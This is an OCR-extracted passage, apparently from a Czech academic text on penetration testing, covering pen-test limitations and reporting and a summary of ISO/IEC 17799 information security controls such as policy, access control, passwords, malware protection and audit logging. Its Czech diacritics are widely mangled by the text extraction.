v dobé provadeni testu, z ¢ehoz vyplyva, Ze vypovidajici hodnota vysledkl s postupem

¢asu klesa.

* Negativni vysledek — ani negativni vysledek penetra¢niho testu neznamena odhaleni
absolutné vSech bezpecnostnich slabin testovanych komponentii (operacnich systémi,

aplikaci apod.).

* Monitorovaci mechanismy — v rdmci penetracniho testu nejsou testovani podrobena
pouze technicka opatieni, v ptipad¢ skrytého testu to jsou rovnéz opatteni organizacni
(zejména kontrolni a monitorovaci mechanismy souvisejici s dozorem testovanych

zafizeni a systémil).

1.15 Report penetracniho testu

Zavery penetracnich testi by mély byt shrnuty a zpracovany do zpravy, kterd bude
nasledné predana zadavateli. Pfi nalezeni problému a chyb v aplikacich, konfiguracich ¢i
systémech je potfeba nédlez oznamit odpovédné osob¢, ktera bude nasledné ziizovat
napravu.

Vysledky musi byt prezentovany ve srozumitelné formé jak pro technické, tak pro tidici

pracovniky.
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Hlavni ptfinosy penetra¢nich testi: 15)

* Nastroj pro zlepseni bezpecnostniho povédomi firmy.

* Provéteni informacni bezpec¢nosti v praxi.

 Zdokumentovani slabych mist a prinikti do informaéniho systému.

* [lustrace jak snadno se Gtok miuize odehrat v praxi.

* Posouzeni ptipravenosti a reakce IT pracovniki.

» Zhodnoceni odhalenych bezpecnostnich nedostatkti podle stupné jejich zavaznosti.
* Prevence financnich ztrat.

* Eliminace nedostupnosti sluzby.

* Eliminace neopravnénych pfistupli — zamezeni neautorizované zmény VvV konfiguraci

serveru Ci pracovni stanice.
* Eliminace ziskani davérnych a citlivych informaci.
* Ochrana dobrého jména znacky (zneuziti informaci v obchodnim styku).
* Eliminace ztraty davéry (napf. u dodavatelit).
» ldentifikace zranitelnosti.

* Obraz reédlného zhodnoceni bezpecnostniho zabezpefeni informacni infrastruktury
firmy.

* Detailni technicka zprava popisujici a hodnotici zjiSténé nedostatky a stupen jejich
nebezpecnosti.

* ManaZerska zprava s doporucenymi kroky pro ndpravu nedostatki a optimalizaci

provozu systému.
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2 ULOHA NOREM PRI BUDOVANI FIREMNIi BEZPECNOSTI
A APLIKACI PENETRACNIHO TESTOVANI

Narodni organy, které jsou cleny ISO (Mezinarodni organizace pro normalizaci) ¢i IEC
(Mezinarodni elektronickd komise), se podileji na vypracovavani mezinarodnich norem
prostiednictvim technickych komisi zfizenych pfisluSnou organizaci k tomu, aby se

zabyvaly urcitou oblasti technické Cinnosti.

Ptipravuje tedy i normy, jez se vénuji systému fizeni bezpe€nosti informaci (ISMS).
Soubor norem zahrnuje pozadavky na systém fizeni bezpecnosti informaci, managementu
rizik, metriky a méfeni vykonu a doporuceni k implementaci (soubor téchto norem tvoii

sérii 27000).

Potieba mit normy vénujici se oblasti ISMS vychazi z faktu, ze informace ptedstavuji
aktiva, kterd maji pro organizace vysokou hodnotu, a proto je nutné je vhodnym zpiisobem
chranit. S rostouci propojenosti prostfedi jednotlivych organizaci jsou informace vystaveny

zvysujicimu se poctu riiznych hrozeb a zranitelnosti.

Bezpecnost informaci je zaméfena na Sirokou S$kalu hrozeb a zajistuje tak kontinuitu
¢innosti organizace, minimalizuje obchodni ztraty a maximalizuje navratnost investic a pod-

nikatelskych ptilezitosti.

Stale rostouci mérou jsou organizace a jejich informacni systémy vystavovany bezpec-
nostnim hrozbam z riznych zdroji, vcetné pocitacovych podvodl, Spionaze, sabotize,
vandalismu apod. Zdroje $kod jako jsou pocitatové viry, utoky hackerli a utoky typu
odepfeni sluzby (DoS) jsou stale Castéjsi, roste jejich nebezpecnost a sofistikovanost. Proto
je nutné, aby kazda konkrétni organizace urcila své bezpecnostni poZadavky, které ji
pomohou urcit odpovidajici kroky a priority pro fizeni bezpe¢nostnich rizik u informaci
a pro realizaci opatfeni uréenych k zamezeni jejich vyskytu.

Tato kapitola se bude v€novat oblasti bezpecnosti informaci ze tfi normativnich hledisek.
Pfiblizi normu piedstavujici soubor postupli pro management bezpecnosti informaci,
osvétli normu zabyvajici se pozadavky na systémy managementu bezpecnosti informaci
a objasni normu vysvétlujici pozadavky na organy provadéjici audit a certifikaci systému
fizeni bezpetnosti organizaci. (Gasti norem budou ocitovany se souhlasem Utadu pro

technickou normalizaci, metrologii a statni zkuSebnictvi — viz Ptiloha P I).
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Tyto normy mohou slouzit jako podklad pro realizaci penetracnich testi z hlediska

postupu, piipadné jako metodika pro vytvareni hodnotici zpravy pro management firmy.

2.1 CSN ISO/IEC 17799 — Soubor postupii pro management bezpeénosti

informaci

Norma ISO/IEC 17799 poskytuje doporuceni a obecné principy pro vymezeni, zavedeni,

udrzovani a zlepSovani systému managementu bezpecnosti informaci v organizaci.

2.1.1 Bezpecnostni politika

Vedeni organizace by mélo stanovit jasny smér postupu v oblasti bezpe€nosti informaci,
ukézat jeji podporu vydanim a aktualizaci bezpecnostni politiky informaci platné v celé
organizaci. Dokument bezpeCnostni politiky informaci by mél byt schvalen vedenim
organizace, publikovan a dan na védomi vSem zameéstnancim a relevantnim externim
stranam. Dokument bezpec¢nostni politiky informaci by mé¢l obsahovat vyjadieni podpory

vedeni organizace a m¢l by stanovit zamysleny ptistup k budovani bezpecnosti informaci.

Pro zajisténi jeji neustalé pouzitelnosti, pfiméfenosti a ti€innosti by bezpecnostni politika
informaci méla byt pfezkoumdvana v planovanych intervalech a vzdy kdyz nastane
vyznamnd zmeéna. Nedilnou soucasti tohoto prezkoumavani by mély byt pravidelné

penetracni testy.

2.1.2 Organizace bezpecnosti informaci
Interni organizace

ME¢I by byt vytvoren fidici rdimec pro zahajeni a fizeni implementace bezpec¢nosti informaci

V organizaci.

Vedeni organizace by mé&lo schvalit politiku bezpecnosti informaci, pfifadit role v oblasti

bezpecnosti informaci a koordinovat implementaci bezpecnosti v organizaci.

Jestlize je to potfebné, mél by byt v organizaci dostupny odbornik na bezpecnost
informaci. Aby bylo mozné udrzovat krok s poslednimi trendy v odvétvi bezpecnosti
informaci, sledovat standardy, vybirat nejvhodné¢j$i metody a zajistit vhodné stycné body
v pripadech bezpecnostnich incidentd, mély by byt uzavieny smlouvy s externimi
odborniky v oboru bezpecnosti informaci. M¢l by byt podporovan multidisciplinarni piis-

tup k bezpec€nosti informaci.
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Me¢ly by byt utvoteny a v pravidelnych intervalech pfezkoumavény dohody obsahujici
pozadavky na ochranu divérnosti nebo povinnost zachovavat mlcenlivost, reflektujici
potieby organizace na ochranu informaci. Dohody o ochran¢é diivérnosti nebo o povinnosti
zachovavat mlcenlivost by mély zajistit pozadavek na ochranu divérné informace s vyu-
zitim zadkonem vymahatelnych prostiedkli. Pfi urceni pozadavku na dohody by mélo byt

bréno v Givahu:
a) urceni informace, ktera ma byt chranéna;
b) o¢ekavana doba trvani dohody vcetné upiesnéni piipadi, ve kterych pozadavek na
ochranu davérnosti je uplatiiovan i po ukonéeni doby platnosti takové dohody;
C) uptesnéni krokl nasledujicich po ukonceni dohody;
d) odpovédnosti a kroky, které signatati dohody podniknou k zamezeni neopravnéného

vyzrazeni informaci (napt. dodrzovani principu ,,need to know*);

e) vlastnictvi informaci, obchodni tajemstvi a ochrana duSevniho vlastnictvi a jejich

souvislost s ochranou divérnych informaci;
f) dovolené pouziti divérnych informaci a prava smluvnich stran na jejich pouziti;
g) pravo auditovat a monitorovat ¢innosti, které zahrnuji divérné informace;
h) zpisob oznameni a podani zpravy o neopravnéném vyzrazeni nebo poruseni
duvérnosti informace;
i) podminky, za jakych maji byt informace po ukonceni dohody vraceny nebo zniceny;
j) kroky, které budou podniknuty v piipad¢, ze dojde k poruseni dohody.
Piistup organizace k fizeni a implementaci bezpe€nosti informaci by mély byt v plano-
vanych intervalech nezavisle prezkoumavany. Pfezkoumdni by meéla byt provadéna
nezavislymi subjekty, napf. utvarem interniho auditu, nezavislym vedoucim zaméstnancem
nebo organizaci specializujici se na tuto ¢innost, pfiCemZ potencidlni kandidati na tuto
praci musi mit patficné znalosti a zkuSenosti.
Vysledky nezavislych pfezkoumdni by mély byt zaznamendny a ptedlozeny vedoucim
zaméstnancim k seznameni. Pokud je v ramci nezéavislého piezkoumdni zjisténo, ze

pfistup organizace k managementu bezpec¢nosti informaci jevi nedostatky nebo nesoulad se

smérem stanovenym v bezpecnostni politice informaci, mély by byt zvazeny kroky k naprave.
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Externt subjekty

Bezpecnost informaci a prostfedkti pro zpracovani informaci by neméla byt snizena pfi
zavedeni produktu a sluzeb tretich stran. Pfistup externich subjekti k prostfedkim pro

zpracovani informaci by mél byt kontrolovan.

Tam, kde z ¢innosti organizace vyplyva potieba piistupu externich subjekti, by mélo byt
provedeno hodnoceni rizik plynoucich z tohoto pfistupu tak, aby se zjistily disledky z hle-
diska bezpecnosti a aby se stanovily pozadavky na opatfeni. Opatfeni by méla byt

schvalena a podchycena ve smlouvé s externim subjektem.

2.1.3 Rizeni aktiv

Pro vsechna dulezitd aktiva by méli byt ureni vlastnici a méla by byt stanovena jejich
odpovédnost za udrzovani piimétenych bezpecnostnich opatieni. Odpovédnost za realizaci
jednotlivych bezpecnostnich opatieni miize byt delegovano, ale vlastni odpovédnost za né

by méla zistat na vlastnikovi aktiva.

Informace by mély byt klasifikovany tak, aby byla naznacena jejich potfebnost, dilezitost
a stupeil ochrany. Informace mohou mit riizny stupei citlivosti a mohou byt rizné kritické,
nckteré mohou vyzadovat vyS§si uroven bezpecnosti nebo zvIlastni stupent zachdzeni. Mél by
existovat systém bezpec€nostni klasifikace, ktery by ur€oval adekvatni stupen ochrany

a ktery by daval uzivateliim informace o nutnosti zvlastniho zachazeni.
2.1.4 Bezpecnost z hlediska lidskych zdroja

Pred vznikem pracovniho vztahu

Odpovédnost za bezpecnost by méla byt zohlednéna v ramci pfijimaciho fizeni, méla by
byt zahrnuta v pracovnich smlouvach a popisech prace. Potencidlni uchazeci by méli byt
nalezité provéieni, zejména v piipadé citlivych pracovnich mist.

Vsichni zaméstnanci smluvni a tfeti strany vyuzivajici prostfedk organizace pro

zpracovani informaci by méli podepsat dohodu odpovidajici jejich rolim a povinnostem.

Pracovni smlouvy by mély byt v souladu s bezpecnostni politikou organizace a mimo to

také uptesiiovat a obsahovat nasledujici:
a) vSichni zaméstnanci, smluvni a tfeti strany by méli pfedtim, nez je jim umoznén
pfistup k citlivym informacim a prosttedkim pro zpracovani informaci, podepsat

smlouvu o ochrané informaci nebo o zachovani mléenlivosti;
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b) prava a pravni odpovédnost zaméstnancl, smluvnich stran a ostatnich uzivateld

(napf. ve vztahu k autorskému zédkonu nebo zakonu o ochran¢ osobnich udaji);

¢) odpovédnost za klasifikaci a spravu aktiv spojenych s informa¢nim systémem a sluz-

bami zaméstnavatele;

d) odpovédnost zaméstnancli, smluvnich a tietich stran pro nakladani s informacemi

obdrzenymi od jinych spolecnosti a zacastnénych stran;

e) odpovédnosti organizace pii nakladani s osobnimi tdaji, v¢etné téch udaju, které

byly vytvofeny v prabéhu pracovniho poméru;
f) rozsifeni odpovédnosti i mimo objekt organizace a mimo béznou pracovni dobu;

g) popis kroku, které budou nasledovat pii nedodrzeni bezpecnostnich pozadavki ze

strany zamé&stnancil, smluvnich a tfetich stran.
Béhem pracovniho vztahu

Me¢la by byt jasné stanovena odpovédnost vedoucich zaméstnancl, aby se zajistilo
dodrzovani bezpecnosti ze strany jednotlivel béhem celé doby trvani pracovniho vztahu.
Zameéstnanci, smluvni a tieti strany by méli byt Skoleni v bezpecnostnich postupech a ve
spravném pouzivani prostiedkii pro zpracovani informaci, aby byla minimalizovéna

bezpecnostni rizika.

Me¢la by byt vytvotfena formalizovana pravidla pro disciplinarni proces v ptipad¢ naruseni

bezpecnosti.
Ukonceni nebo zména pracovniho vztahu

Méla by byt urcena jednoznacna odpovédnost za fadny pribéh ukonceni pracovniho
vztahu zaméstnanci, smluvnich a tfetich stran, za odevzdani pfidéleného vybaveni a odej-
muti pfistupovych prav. Zména odpovédnosti a pracovniho vztahu v ramci organizace by
méla probihat, jako by se jednalo o odebrani odpovédnosti nebo ukoneni pracovniho

vztahu.

2.1.5 Fyzicka bezpefnost a bezpecnost prostiedi

Prosttedky zpracovavajici kritické nebo citlivé informace organizace by mély byt umistény
v zabezpecenych zondch chranénych vymezenym bezpecnostnim perimetrem a odpovi-
dajicimi bezpec¢nostnimi bariérami a vstupnimi kontrolami. Tato zafizeni by méla byt fyzicky

chranéna proti neautorizovanému piistupu, poskozeni a naruseni.
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Bezpecnost zarizeni

Zatizeni by méla byt fyzicky chranéna proti bezpecnostnim hrozbam a ptsobeni vnéjSich
vlivl. Ochrana zafizeni (vCetn¢ téch, ktera se pouzivaji mimo hlavni lokalitu) je nezbytna
jak pro snizeni rizika neautorizovaného piistupu k datim, tak k zajiSténi ochrany proti
ztraté nebo poskozeni. Pozornost by méla byt vénovana také jejich umisténi a likvidaci. Na
ochranu proti moznému ohrozeni nebo neautorizovanému pfistupu a na ochranu
podpurnych prostiedki (napi. dodavky elektrické energie a infrastruktury kabelovych

rozvodl) mohou byt pozadovana zvlastni opatieni.

2.1.6 Rizeni komunikaci a Fizeni provozi
Provozni postupy a odpovédnost

Me¢la by byt stanovena zodpovédnost a postupy pro fizeni a spravu prostfedki zpra-
covavajicich informace. Zahrnuje to vytvafeni vhodnych provoznich instrukci a pfistupti.
V ptipadé potieby by mél byt uplatnén princip oddéleni funkci, aby se snizilo riziko

umyslného zneuziti systému nebo zneuziti z nedbalosti.
Rizeni dodavek sluzeb tretich stran

Pro zajiSténi toho, Ze sluzby dodavané tfetimi stranami jsou v souladu s dohodnutymi
pozadavky, by organizace méla kontrolovat realizaci dohod, monitorovat miru souladu

jejich dodrzovani a v ptipadé potteby zajistit ndpravu.
Planovani a prejimani informacnich systémii

Pro zajisténi odpovidajici kapacity, zdroji a vykonu informacniho systému je nutné
provést odpovidajici pfipravu a planovani. Aby se sniZilo riziko pfetiZzeni systému, mél by
byt vytvairen odhad budoucich kapacitnich pozadavki. Pied schvalenim novych systému
a pted jejich uvedenim do provozu by k nim mély byt stanoveny, pisemné dokumentovany

a otestovany provozni pozadavky.
Ochrana proti skodlivym programiim a mobilnim kodim

Pro prevenci a detekovéani Skodlivych programli a nepovolenych mobilnich kodi jsou
vyzadovana patficnd opatieni. Programy a prosttedky pro zpracovani informaci jsou
zranitelné Skodlivymi programy, jako jsou napt. pocitacové viry, sitovi Cervi, trojsti koné
a dalsi malware. Uzivatelé by méli byt upozoritovani na nebezpeci neschvéalenych a Skod-

livych programii. Vedouci zaméstnanci by méli tam, kde je to vhodné, aplikovat zvlastni
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opatieni pro jejich predchazeni a detekovani a zavést postupy pro odstranéni Skodlivych

programu a kontrol mobilnich kéda.

Ochrana proti Skodlivym programim by méla byt zalozena na detekci Skodlivych
programi, opravnych programi, na bezpecnostnim povédomi, na vhodném pftistupu k sys-
tému a na opatienich zajist'ujicich fizeni zmén. V tvahu by méla byt vzata tato nasledujici

opatfeni:

a) ustaveni formalnich pravidel pozadujicich dodrzovani licen¢nich podminek a zdkaz

pouzivani neschvaleného programového vybaveni;

b) ustaveni formalnich pravidel zajistujicich ochranu proti rizikim vyplyvajicim ze
ziskavani programtl z externich siti nebo z jinych médii a urcujicich, jaka ochranna
opatieni by méla byt pfijata;

) zavedeni pravidelné kontroly programt a datového obsahu systému kritickych pro

vnitropodnikové procesy (méla by byt formalné prosetfovana piitomnost neschva-

lenych soubortii nebo neodsouhlasenych uprav);

d) instalace a pravidelna aktualizace antivirovych detekénich a opravnych programu pro
kontrolu pocitati a médii, bud’ jako preventivni prostfedek vyuzivany ad-hoc
zpusobem, nebo pravidelné;

e) urceni fidicich postupd a povinnosti pfi praci s antivirovou ochranou v systémech,
Skoleni uzivatelti, hlaSeni a napravy virovych utok;

f) ptipravu odpovidajicich plant kontinuity ¢innosti organizace pifi zotaveni se z Viro-
vych utokl véetné kompletniho zalohovani a obnovy potfebnych dat a programf;

g) zavedeni pravidelného sbéru informaci o novych skodlivych kddech;

h) zavedeni postupt zajist'ujicich platnost informaci o virech (zaméstnanci by méli znat
problém falesnych vir,, méli by védet, co délat, kdyz zpravu o takovém viru obdrzi
nebo objevi).

Zalohovani

Me¢ly by byt vytvoreny rutinni postupy realizujici schvalenou politiku zalohovani a strate-
gii pro vytvareni zaloZnich kopii dat a testovani jejich v€asného obnoveni.

Postupy zdlohovani jednotlivych systémli by mély byt pravidelné testovany, aby

vyhovovaly pozadavkim planti kontinuity ¢innosti organizace. U kritickych systéml by
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zalohovani mélo zahrnovat veskeré systémové informace, aplikace a data potfebnd pro

kompletni obnovu systému v piipad¢ havarie.
Sprava bezpecnosti sité

Pozornost vyzaduje sprava bezpecnosti pocitacovych siti, které mohou piesahovat hranice
organizace. Pro zabezpeCeni citlivych dat pfendSenych vefejnymi sitémi mohou byt

pozadovana dodate¢na opatieni (napiiklad ovétovani viiéi RADIUS serveru).

Zpusobilost poskytovatele sitovych sluzeb bezpecné zajistit spravu dohodnutych sitovych
sluzeb by méla byt provéfena a priabézné monitorovana. Mélo by byt odsouhlaseno pravo

provadét audit.

Mc¢la by byt identifikovana bezpe¢nostni nastaveni spojena s konkrétnimi sluzbami, jako
jsou bezpecnostni prvky, troven poskytovanych sluzeb a pozadavky na jejich spravu.

Organizace by méla zajistit implementaci téchto opatfeni poskytovatelem sitovych sluzeb.
Bezpecnost pri zachazeni s médii

Média by méla byt kontrolovana a fyzicky zabezpecena. M¢ly by byt stanoveny nalezité
provozni postupy tykajici se zabezpeceni dokumentli, pocitaovych —médii,
vstupnich/vystupnich dat a syst¢émové dokumentace pfed neopravnénym vyzrazenim,

modifikaci, odstranénim nebo poSkozenim.

Pfi nedbalé likvidaci médii by se mohla citlivd data dostat do cizich rukou. Pro
minimalizaci tohoto rizika by mély byt vytvofeny formalni postupy bezpecné likvidace
médii. Postupy pro bezpecnou likvidaci by mély odpovidat citlivosti informaci. Pfi
nahromadéni vétsSiho mnozstvi médii k likvidaci by mél byt zvaZzen efekt agregace, kdy se
velké mnoZstvi neklasifikovanych informaci stava citlivéjSim nez malé mnoZstvi

klasifikovanych informaci.

Pro zabranéni neautorizovaného piistupu nebo zneuziti informaci by mély byt stanoveny
postupy pro manipulaci s nimi a pro jejich ukladéni. Jsou pouzitelné v dokumentech,
pocitacovych systémech, sitich, pfenosnych pocitacich, mobilni sdélovaci technice, poste,
hlasové posté, hlasové komunikaci obecné, v multimédiich, v poStovnim styku, pfi
pouzivani faxl a pii pouzivani dalSich citlivych médii.

Vymeéna informaci

Vyména informaci a programli mezi organizacemi by meéla byt zalozena na formalni

politice, provadéna v souladu s platnymi dohodami a méla by byt ve shodé s platnou
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legislativou. M¢ly by byt stanoveny postupy a normy pro ochranu informaci a jejich nosict
pti pieprave.
Pii vytvéfeni postupli a zavadéni opatieni pro vyménu informaci by mélo byt zvazeno
nasledujici:

a) postupy urCené pro ochranu informaci pied jejich zachycenim, odposlechem,

zkopirovanim, modifikaci, chybnym smérovanim a zni¢enim;

b) postupy detekce a ochrany pied Skodlivymi kody, které mohou byt pienaSeny

elektronickou postou;
C) postupy na ochranu citlivych informaci pfenasenych v piilohach elektronické posty;
d) politika a smérnice upravujici pouziti zafizeni pro elektronickou komunikaci;

e) postupy pro pouziti bezdratové komunikace s ohledem na souvisejici specificka
rizika;

f) odpovédnost zaméstnancti, smluvnich a tfetich stran za to, ze nezkompromituji
organizaci napf. odeslanim hanlivych zprav, pouzitim elektronické posty k obtézo-

vani ¢i neautorizovanym nakuplim,;

g) pouziti kryptografickych technik pro zajisténi divérnosti, integrity a autenti¢nosti

prenasenych informaci;

h) vytvoreni pravidel pro uchovani a likvidaci veskeré obchodni korespondence, véetné

elektronické posty v souladu s mistni legislativou a piedpisy;

i) nenechavat citlivé a kritické informace volné lezet v tiskarnach, kopirovacich

zafizenich a faxech, kde mohou byt volné pfistupné neautorizovanym osobam;

J) zavedeni opatfeni a omezeni souvisejicich s pfesmérovanim elektronické komu-
nikace, napf. automatické pieposilani elektronické poSty na externi emailovou

adresu;

K) pfipominani zaméstnanciim, ze maji dodrzovat adekvatni opatrnost, napf. neprobirat
citlivé informace, které by mohly byt pii telefonovani zaslechnuty ¢i odposlou-

chavany;

I) nenechavat zpravy na zaznamniku, protoze tyto zpravy mohou byt piehrany
neautorizovanou osobou, ulozeny do vefejné sit€¢ nebo ulozeny jako vysledek

chybného telefonatu;
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m)upozornovani zaméstnanct na problémy spojené s pouzitim faxu;

n) upozornovani zameéstnanci na to, aby pifi registraci programového vybaveni

nezadavali své osobni udaje, které pak mohou byt pouzity neopravnénym zpiisobem,;

0) upozornovani zaméstnancu na to, z¢ moderni faxova zafizeni a kopirky pouzivaji
vyrovnavaci pamét, ve které je uloZzen obsah tisténych stranek, pro ptipad, ze v zaso-

bniku dojde papir nebo nastane chyba pfi pfenosu dat.
Sluzby elektronického obchodu

Mély by byt zvazeny bezpecnostni dopady a pozadavky na opatieni spojené s pouzitim
sluzeb podporujicich elektronicky obchod vcetné online transakci. Pozornost by méla byt
vénovana ochran¢ integrity a dostupnosti elektronicky publikovanych informaci na vetejné

ptistupnych systémech.
Monitorovani

Systémy by mély byt monitorovany a bezpecnostni udalosti zaznamenavany. Pro zajisténi
v€asné identifikace problémul informacnich systém by mél byt pouzivan operatorsky

denik a zdznamy ptedchozich selhéni.

Veskere¢ aktivity souvisejici s monitorovanim a zaznamenavanim udalosti by mély byt v sou-

ladu s relevantnimi zakonnymi pozadavky.

Monitorovani systému umoZznuje kontrolovani ucinnosti pfijatych opatfeni a ovéteni

souladu s modelem politiky fizeni pfistupu.

Auditni zdznamy obsahujici chybova hldSeni a jiné bezpecnostné vyznamné udalosti, by
mély byt pofizovany a uchovavany pro stanové obdobi tak, aby se daly pouZit pro budouci

vySetfovani a pro ucely monitorovani zafizeni. Auditni zdznamy by m¢ly také obsahovat:
a) identifikatory uzivatel (uzivatelska ID);
b) datum, ¢as a podrobnosti klicovych udalosti (napt. piihlaseni a odhlaseni);
¢) identifikator terminalu nebo mista;
d) zaznam o uspéSnych a odmitnutych pokusech o piistup k systému;
e) zaznam o UspéSnych a odmitnutych pokusech o piistup k datim a jinym zdrojim;
f) zmény konfigurace systému;

g) pouziti opravnéni,
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h) pouziti systémovych nastroji a aplikaci;

1) soubory, ke kterym bylo pfistupovano a typ piistupu;
J) sité, ke kterym bylo pfistupovano a pouzité protokoly;
K) alarmy vyvolané systémem pro kontrolu piistupu;

I) aktivaci a deaktivaci ochrannych systémi (antivirové systémy a systémy pro detekci

pruniku).

2.1.7 Rizeni pFistupu

Ptistup k informacim, prosttedklim pro zpracovéani informaci a procesiim organizace by
m¢él byt fizen na zaklad¢é provoznich a bezpecnostnich pozadavkl. M¢la by byt zohlednéna

pravidla organizace pro Sifeni informaci a pravidla, podle nichz probiha schvalovani.
Rizeni pristupu uzivatelii

Mc¢ly by existovat formdlni postupy pro pifidélovani uzivatelskych prav k informacnim
systémim a sluzbam. Pristupy by mély pokryvat vSechny faze zivotniho cyklu pfistupu
uzivatele, od prvotni registrace nového uzivatele az po konecné zruSeni registrace
uzivatele, ktery ptistup k informacnim systémim a sluzbam jiz ddle nepotiebuje. V ptipadé
nutnosti by méla byt vénovana zvlastni pozornost potebé fidit pfidélovani privilegovanych

piistupovych opravnéni, kterd umoZznuji uZivateliim prekonat kontroly v systému.
Odpovédnosti uzivatelii

Pro ucinné zabezpeceni je nezbytnd spoluprace opravnénych uzivatelti. MéEli by si byt
védomi odpovédnosti za dodrZovani ¢innych opatieni fizeni pfistupu, zejména s ohledem
na pouzivani hesel, a bezpefnosti jim piidélenych prosttedki. Pro snizeni rizika
neopravnéného pfistupu (nebo poskozeni) k dokumentim, médiim a prosttedkim pro
zpracovani informaci, by méla byt zavedena zdsada prazdného stolu a prazdné obrazovky

monitoru.

Pii vybéru a pouzivani hesel by mélo byt po uZivatelich vyZzadovano, aby dodrZzovali

stanovené bezpecnostni postupy. VSichni uzivatelé by méli byt obeznadmeni s tim, ze:
a) hesla se udrzuji v tajnosti;

b) hesla nesmi byt zaznamenana (napf. na papife, v souborech nebo pfenosnych

zatizenich);
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C) hesla se musi zménit v piipadé jakéhokoliv ndznaku mozného kompromitovani

systému nebo hesla;

d) heslo by mélo byt kvalitni, m¢lo by mit dostateCnou délku, ale nemélo by byt
zalozené na informacich vztahujicich se k osobé, protoze by je mohl kdokoliv dalsi

lehce uhodnout nebo ziskat (jména, telefonni ¢isla, data narozeni atd.);

e) musi ménit hesla v pravidelnych intervalech nebo na zakladé poctu piihlaseni a vy-

hybat se opakovanému pouziti nebo opakovani piivodnich hesel,
f) musi zménit doCasna hesla po prvnim piihlaseni;
g) nebudou zahrnovat hesla do zadného automatizovaného piihlasovaciho procesu;
h) nebudou sdilet osobni uzivatelska hesla;
i) nebudou pouzivat stejna hesla pro soukromé a pracovni tcely.
Rizeni pristupu k siti
Pristup k internim i externim sitovym sluzbam by mél byt fizen. Je to nezbytné pro

zajisténi toho, aby uzivatelé majici pfistup k sitim nebo sitovym sluzbam neohrozovali

bezpecnost téchto sluzeb. K tomu je potieba:
a) vhodné rozhrani sité organizace se sitémi jinych organizaci nebo vefejnymi sitémi;
b) odpovidajici autentizaéni mechanismus pro uzivatele a zafizeni;
C) fizeni pfistupu uzivateli k informaénim sluzbam.

Rizeni pFistupu k operacnimu systému

Pro omezeni pfistupu k operacnim systémiim pro opravnéné uZivatele by mély byt pouZity

bezpecnostni prostfedky. Tyto prostiedky by mély byt schopny:
a) autentizace opravnénych uzivatelti v souladu se stanovenou politikou fizeni pfistupu;
b) zaznamenavat ispé$né a neuspésné pokusy o autentizace;
C) zaznamenavat vyuziti systémovych privilegii;
d) spoustét varovani pii poruseni systémovych bezpecnostnich politik;
e) poskytovat vhodné prostiedky pro autentizaci;

f) v pfipadé potieby omezit dobu pfipojeni uzivatele.
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Rizenti pristupu k aplikacim a informacim

Pro omezeni piistupu k aplikacnim systétmim by mély byt pouzity bezpecnostni
prostiedky. Logicky pfistup k programim a informacim by m¢l byt omezen na opravnéné

uzivatele. Aplikacni systémy by mély:

a) kontrolovat pfistup uzivateli k datim a funkcim aplika¢niho systému v souladu se

stanovenou politikou fizeni podniku;

b) poskytovat ochranu pfed neopravnénym pristupem ke vSem nastrojum a systémovym

programim, které mohou obejit systémové a aplikacni kontrolni mechanismy;
C) nenarusit bezpecnost jinych systém, se kterymi jsou sdileny informac¢ni zdroje.
Mobilni vypocetni zarizeni a prace na dalku

PoZadovana ochrana by méla odpovidat rizikovosti téchto specifickych zpisobi prace. Pri
pouziti mobilnich vypocetnich prostiedki by mélo byt zvéazeno riziko prace Vv ne-
chranéném prostiedi a méla by byt zajisténa vhodné ochrana. V ptipadé prace na dalku by
meéla byt zavedena ochrana na misté vykonu prace a mély by byt zajistény vhodné

podminky pro tento zplisob préce.

2.1.8 Akvizice, vyvoj a idrzba informacnich systémi

Je nutné zajistit, aby se bezpecnost stala neoddélitelnou soucasti informacniho systému. To
zahrnuje provozni systémy, infrastrukturu, interni aplikace organizace, zakoupené
produkty, sluzby a uZivatelsky vyvinuté aplikace. Navrh a implementace informac¢niho
syst¢ému na podporu procesi organizace muze byt z hlediska bezpecnosti kriticky.
Bezpecnostni pozadavky by mély byt stanoveny a odsouhlaseny jesté pted zahdjenim
vyvoje informacniho systému.

Vsechny bezpecnostni pozadavky by mély byt v projektu stanoveny jiz ve fazi definice
pozadavkli a mély by byt zdlvodnény, odsouhlaseny a dokumentovany jakou soucést
vyvoje informacéniho systému.

Spravné zpracovani v aplikacich

Pro zajisténi bezchybného zpracovani by do aplikacnich systémt, v€etné téch, které jsou
vytvofeny uzivatelsky, mély byt zahrnuty vhodné kontroly. Mély by zahrnovat potvrzeni

platnosti vstupnich dat, interniho zpracovani a vystupnich dat.
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Ptijeti dodateénych kontrol by mélo byt zvazeno u systému, které zpracovavaji nebo maji

vliv na zpracovani citlivych, cennych nebo kritickych informaci.
Kryptograficka opatreni

Meéla by byt vytvoiena pravidla pro pouziti kryptografickych opatteni. K podpote pou-

zivani kryptografickych technik by mél v organizaci existovat systém jejich spravy.
Bezpecnost systéemovych souborii

Piistup k systémovym souborim a zdrojovym kodim programti by mél byt fizen, projekty
IT a podpiirné Cinnosti by mély byt provadény bezpecnym zptisobem. M¢la by byt piijata

opatieni zabranujici vyzrazeni citlivych informaci v testovacim prostredi.
Bezpecnost procesit vyvoje a podpory

Projektové a podplrné prostiedi by mélo byt pod piisnou kontrolou. Vedouci a spravci,
ktefi jsou odpovédni za aplikacni systémy, by méli mit také odpovédnost za bezpecnost
projektového a podpirného prostiedi. Méli by zajistit, ze vSechny planované zmény v Sys-
tému budou podrobeny kontrole, aby nenarusily bezpecnost systému nebo provozniho

prostiedi.
Rizeni technickych zranitelnosti

Sprava technickych zranitelnosti by méla byt zavedena efektivnim, systematickym a opa-
kovatelnym zpiisobem, s vyuzitim metrik pro ovéfeni jejich ucinnosti. Toto by mélo zahr-

novat vSechny operacni systémy a pouZzité programové vybaveni.

2.1.9 Zvladani bezpecnostnich incidenti

Mély by byt ustaveny formalni postupy pro hlaSeni bezpe€nostnich udalosti a pro
zvySovani stupné jejich dilezitosti. VSichni zaméstnanci, smluvni strany a uzivatelé tfetich
stran by méli znat postupy hlaseni riznych typt udalosti a slabin, které mohou mit dopad
na bezpecnost aktivit organizace. Zjisténé bezpecnostni udalosti a slabiny by méli zamést-

nanci ihned hlésit na urcité misto.
Zvladani bezpecnostnich incidentit a kroky k naprave

Pro ucinné zvladani bezpecnostnich utoki a slabin by méla byt stanovena odpovédnost
a zavedeny formalizované postupy umoziujici okamzitou reakci. Mél by byt nastaven
proces neustalého zlepSovani reakce, monitorovani, vyhodnocovéni a celkového zvladani

bezpecnostnich incidenti.
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Pro zajisténi souladu s pravnimi pozadavky by v pfipadech, kdy je to vyzadovano, mély

byt shromazdény dikazy.

2.1.10 Rizeni kontinuity ¢innosti organizace

